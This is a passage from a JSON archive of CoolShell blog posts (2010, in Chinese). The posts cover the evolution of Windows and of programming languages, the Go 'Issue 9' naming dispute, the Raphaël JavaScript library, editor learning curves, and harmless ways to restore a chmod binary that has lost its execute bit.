href=\"https://coolshell.cn/articles/4844.html\"><img alt=\"“另类” 设计模式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4844.html\">“另类” 设计模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3716.html\"><img alt=\"WordPress是怎么赢的？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3716.html\">WordPress是怎么赢的？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/873.html\"><img alt=\"谁说C语言很简单？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/873.html\">谁说C语言很简单？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2047.html\">“第六感装置”的惊人潜力</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-11 Windows的达尔文进化图.html",
    "content": "<html><body><p>之前发布过《<a href=\"https://coolshell.cn/articles/105.html\" rel=\"bookmark\" target=\"_blank\">操作系统图形界面发展史(1981-2009)</a>》，今天在网上看到一张自于<a href=\"http://testking.com/\">Testking.com</a>的关于Windows的进化图，其从1985年的windows 1.0到2009年的windows 7的。挺有意思的。点击可以看大图。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.testking.com/techking/infographics/the-darwinian-evolution-of-windows-infographic/\"><img alt=\"The Darwinian Evolution of Windows\" border=\"0\" src=\"../wp-content/uploads/2010/10/W_600.jpg\"/></a></p>\n<p>图片来源: <a href=\"http://www.testking.com/techking/infographics/the-darwinian-evolution-of-windows-infographic/\" target=\"_blank\">The Darwinian Evolution of Windows</a> by <a href=\"http://www.testking.com/techking/\" target=\"_blank\">Tech King</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/105.html\"><img alt=\"操作系统图形界面发展史(1981-2009)\" height=\"150\" src=\"../wp-content/uploads/2009/03/19-windows-3-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-11 编程语言进化.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">以前本站发布过《<a href=\"https://coolshell.cn/articles/1863.html\" rel=\"bookmark\" target=\"_blank\">编程语言时间地理图</a>》、《<a href=\"https://coolshell.cn/articles/2724.html\" rel=\"bookmark\" target=\"_blank\">计算机编程简史图</a>》，下面是两张关于编程语言的进化图。</p>\n<p style=\"text-align: left;\">第一张是比较宏观的，<a href=\"http://techdistrict.kirkk.com/2009/06/17/the-new-era-of-programming-languages/\" target=\"_blank\">来源在这里</a>，虽然是去年的，但还是比较不错的，其把计算机编程语言分成了五个时代——</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\"><img alt=\"\" height=\"379\" src=\"../wp-content/uploads/2010/10/language-evolution.jpg\" title=\"language-evolution\" width=\"600\"/></a></p>\n<ul>\n<li><strong>语言诞生</strong>。1940年代。第一个语言应该是：<a href=\"http://en.wikipedia.org/wiki/Ada_Lovelace\" target=\"_blank\">Ada Lovelace</a>,</li>\n<li><strong>编译器时代</strong>。1950年代。这个时代的代表语言是：Fortran, LISP, 和 COBOL，编程语言开始引入编译器优化技术。</li>\n<li><strong>模式时代</strong>。1960年代-1970年代。这个时代是编程语言最重大的变革。在这个时代，所有人都在思考如何让设计一个好的编程语言以让编程更简单。面向对象也因为Simula而出现，而Smalltalk成了第一个纯动态类型的语言，C/C++、Pascal和SQL也是这个时代出现的，而第一个功能性/函数式语言ML也是这个时代出现的。所以说，这个时代是一个百花齐放的时代。而1980年代并没有太多的创新的东西，而只是对70年代出现的那些语言优化和发展的时期，如：1979年发明的C++语言。</li>\n<li><strong>生产力时代</strong>。1990年代以来主要是如何增进编程生产率的时代，这个时代出现了很多framework，代码库，以及快速开发的IDE，很多公司都在这个时期致力于这些增进生率的工作，如：delphi, power builder, MFC，boost等等。但最重要的还是因为引入了虚拟机——WORA（Write Once, Run Anywhere），JVM 是这方面的代表作。之后的.NET整出来的那些东西都是。今天的JPython, JRuby等都是为整合开发效率和维护效率。参看《<a href=\"https://coolshell.cn/articles/247.html\" rel=\"bookmark\">基于JVM的语言正在开始流行</a>》</li>\n<li><strong>后现代</strong>。未来的编程语言要走向何方，我不太清楚，不过，大家可以看看本站的这几篇文章：《<a href=\"https://coolshell.cn/articles/2598.html\" rel=\"bookmark\">五个编程语言设计的失误</a>》、《<a href=\"https://coolshell.cn/articles/209.html\" target=\"_blank\">C++和JAVA传统中积极的一面</a>》</li>\n</ul>\n<p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\">下面是一张大图，让你看看整个编程语言的进代图。（点击看大图）</p>\n<p style=\"text-align: left;\"><span id=\"more-3100\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages.png\"><img alt=\"\" class=\"size-large wp-image-3103 aligncenter\" height=\"480\" src=\"../wp-content/uploads/2010/10/EvolutionOfComputerlanguages-1024x727.png\" title=\"Evolution Of Computer Languages\" width=\"675\"/></a> <a href=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\"></a></p>\n<p style=\"text-align: left;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\">（</a>全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2598.html\"><img alt=\"五个编程语言设计的失误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2539.html\"><img alt=\"参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-12 Go语言的”Issue 9″ Closed!.html",
    "content": "<html><body><p>还记得Google发布Go语言没几天就要 <a href=\"https://coolshell.cn/articles/1781.html\" target=\"_blank\"><strong>更名Issue 9</strong></a> 的那个事吗？那是2009年11月的事了，差不多一年了，今天Google的Go语言团队终于正式回复这个bug了。</p>\n<blockquote><p>Comment <a href=\"http://code.google.com/p/go/issues/detail?id=9#c1097\" name=\"c1097\" target=\"_blank\">1097</a> by project member <a href=\"http://code.google.com/u/rsc@golang.org/\">rsc@golang.org</a>, Today (11 hours ago)</p>\n<p>The naming similarity is unfortunate. However, there are many computing<br/>\nproducts and services named Go. In the 11 months since our release, there<br/>\nhas been minimal confusion of the two languages, so we are closing this<br/>\nissue.</p></blockquote>\n<blockquote><p>“名命类似是很不幸的。然而，那有很多的计算机产品和服务都叫Go。自从我们发布Go语言的这11个月里，这两个语言只有极少的混乱，所以，我们决定关闭这个问题。”</p></blockquote>\n<p>目前，该bug的状态为Unfortunate，这个状态很有创造性啊，在我的这么多年软件开发过程中，我还没有在任何的bug管理系统中见过这种状态，嗯，要不我也给我们公司的Defect Tracking System加上一个这种状态？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1781.html\"><img alt=\"Go语言更名Issue 9？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1781.html\">Go语言更名Issue 9？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1761.html\"><img alt=\"Go语言源码的一个改动\" height=\"150\" src=\"../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1751.html\"><img alt=\"Go 语言：Google 的新编程语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1751.html\">Go 语言：Google 的新编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-12 Javascript向量图Lib–Raphaël.html",
    "content": "<html><body><p>我们知道很多的Javascript的lib库了，比如：jQuery，YUI，Ext JS等等。今天看到一个很牛X的lib叫<a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">Raphaël </a>[ˈrafēəl]，这是一个很小的JavaScript library，可以让在你的Web上整一些向量图，并且可以完成一些动画和图形变化，很强大。</p>\n<p><a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">Raphaël</a>使用的是  <abbr title=\"World Wide Web Consortium\">W3C</abbr> 推荐的 SVG和<abbr title=\"Vector Markup Language\">VML</abbr> 来创建图片。这意味着所创建的图形对象一样可以是一个DOM对象，可以被你的Javascript的事件来操作。<a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">Raphaël</a> 支持所有的主流浏览器：Firefox 3.0+, Safari 3.0+, Chrome 5.0+, Opera 9.5+ d 和 Internet Explorer 6.0+，最强大的是，这个js文件被压缩后也就60K。</p>\n<p>下面，让我们来看几个示例：</p>\n<p>下面是一个图形变化的示例，点击两个图形间的箭头。</p>\n<p align=\"center\"></p>\n<p><span id=\"more-3107\"></span></p>\n<p>下面是一个流程图，你用鼠标拖动一下其中的图形：</p>\n<p align=\"center\"></p>\n<p>下面是一个时钟：</p>\n<p align=\"center\"></p>\n<p>下面是一个3D迷宫（用方向键移动，空格键跳动，注意左上角的地图）：</p>\n<p align=\"center\"></p>\n<p>更多的示例请到其网站上看看吧：<a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">http://raphaeljs.com/index.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3107.html\">Javascript向量图Lib–Raphaël</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-12 主流文本编辑器学习曲线.html",
    "content": "<html><body><p>下图是几个经典的文本编辑器的学习曲线，不排除其中有调侃和幽默的味道。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3126\" style=\"width: 600px;\"><img alt=\"\" class=\"size-full wp-image-3126\" height=\"400\" src=\"../wp-content/uploads/2010/10/horrorstories.txt.jpg\" title=\"主流编辑器学习曲线图\" width=\"600\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3126\">主流编辑器学习曲线图</figcaption></figure>\n<p><strong>注1</strong>：<strong>Pico</strong>(<strong>PI</strong>ne <strong>CO</strong>mposer)是Unix操作系统中最常见的三种文字处理软件之一，具有文字编辑、搜索、拼写检查、文件浏览和段对齐功能，适合高效地编辑短小的文件。Pico是由华盛顿大学开发的免费软件，随着<a href=\"http://www.washington.edu/pine/\" target=\"_blank\" title=\"Pine（尚未撰写）\">pine</a>电子邮件处理软件发布。它是在Emacs的基础上以pine的邮件编辑为目标而开发的，所以其指令集是Emacs的子集，但是由于在界面上有提示快捷键，相对于vi和Emacs来说更加容易使用。由于Pico虽然是免费软件，但是它并不是开源软件，所以很多Linux版本并不包含Pico。这些版本通常提供一个界面类似的开源软件<a href=\"http://www.nano-editor.org/\" target=\"_blank\" title=\"Nano\">nano</a>——Pico的克隆版。</p>\n<p><strong>注2</strong>：图中的纵横坐标没有标明。我所理解的是——X轴是熟练程度，Y轴是技能。于是对于notepad 来说，技能和熟练程度呈正比。对于VS来说，熟练程度越大，所需要技能先是越来越多，而随着熟练程度的增长，你需要的技能也越少。而对于VI来说，一开始就需要相当大的技能，但一旦掌握这些技能，则你将会越来越熟练。而对于emacs来说，技能和熟练程度是呈旋涡状。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3083.html\"><img alt=\"三个教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3083.html\">三个教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/894.html\"><img alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" height=\"150\" src=\"../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-13 chmod -x chmod的N种解法.html",
    "content": "<html><body><p>在SlidesShare.net上有这么<a href=\"http://www.slideshare.net/cog/chmod-x-chmod\" target=\"_blank\">一个幻灯片</a>，其说了如下的一个面试题：</p>\n<blockquote><p>如果某天你的Unix/Linux系统上的chomd命令被某人去掉了x属性（执行属性），<br/>\n那么，你如何恢复呢？</p></blockquote>\n<p>下面是一些答案：</p>\n<p><strong>1）重新安装</strong>。对于Debian的系统：</p>\n<p><code class=\"EnlighterJSRAW\">sudo apt-get install --reinstall coreutils</code></p>\n<p><strong>2）使用语言级的chmod</strong>。</p>\n<ul>\n<li>Perl：perl-e ‘chmod 0755, “/bin/chmod”‘</li>\n<li>Python：python -c “import os;os.chmod(‘/bin/chmod’, 0755)”</li>\n<li>Node.js：require(“fs”).chmodSync(“/bin/chmod”, 0755);</li>\n<li>C程序：</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">#include &lt;sys/types.h&gt;\n#include&lt;sys/stat.h&gt;\nvoid main()\n{\nchmod(\"/bin/chmod\", 0000755);\n}</pre>\n<p><span id=\"more-3136\"></span></p>\n<p><strong>3）使用已有的可执行文件。</strong></p>\n<pre class=\"EnlighterJSRAW\">\n$cat - &gt; chmod.c\nvoid main(){}\n^D\n\n$cc chmod.c\n$cat /bin/chmod &gt; a.out\n$./a.out 0755 /bin/chmod\n</pre>\n<pre class=\"EnlighterJSRAW\">\n$cp true &gt; new_chmod\n$cat /bin/chmod &gt; new_chmod\n$./new_chmod 0755 /bin/chmod\n</pre>\n<p><strong>4）使用GNU tar命令</strong></p>\n<pre class=\"EnlighterJSRAW\">$tar --mode 0755 -cf chmod.tar /bin/chmod\n$tar xvf chmod.tar</pre>\n<p><code class=\"EnlighterJSRAW\">tar --mode 755 -cvf - chmod | tar -xvf -</code></p>\n<p><strong>5）使用cpio</strong> （第19到24字节为file mode – <a href=\"http://4bxf.sl.pt\" target=\"_blank\">http://4bxf.sl.pt</a>）</p>\n<pre class=\"EnlighterJSRAW\">\necho chmod |\ncpio -o |\nperl -pe 's/^(.{21}).../${1}755/' |\ncpio -i -u</pre>\n<p><strong>6）使用hardcore</strong></p>\n<p><code class=\"EnlighterJSRAW\">alias chmod='/lib/ld-2.11.1.so ./chmod'</code></p>\n<p><strong>7）使用Emacs</strong></p>\n<blockquote><p>Ctrl+x b &gt; * scratch*<br/>\n(set-file-modes “/bin/chmod” (string-to-number “0755” 8))<br/>\nCtrl+j</p></blockquote>\n<p>嗯，挺强大的，不过为什么不用install命令呢？</p>\n<pre class=\"EnlighterJSRAW\">install -m 755 /bin/chmod /tmp/chmod\nmv /tmp/chmod /bin/chmod</pre>\n<p>各位，你的方法呢？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a 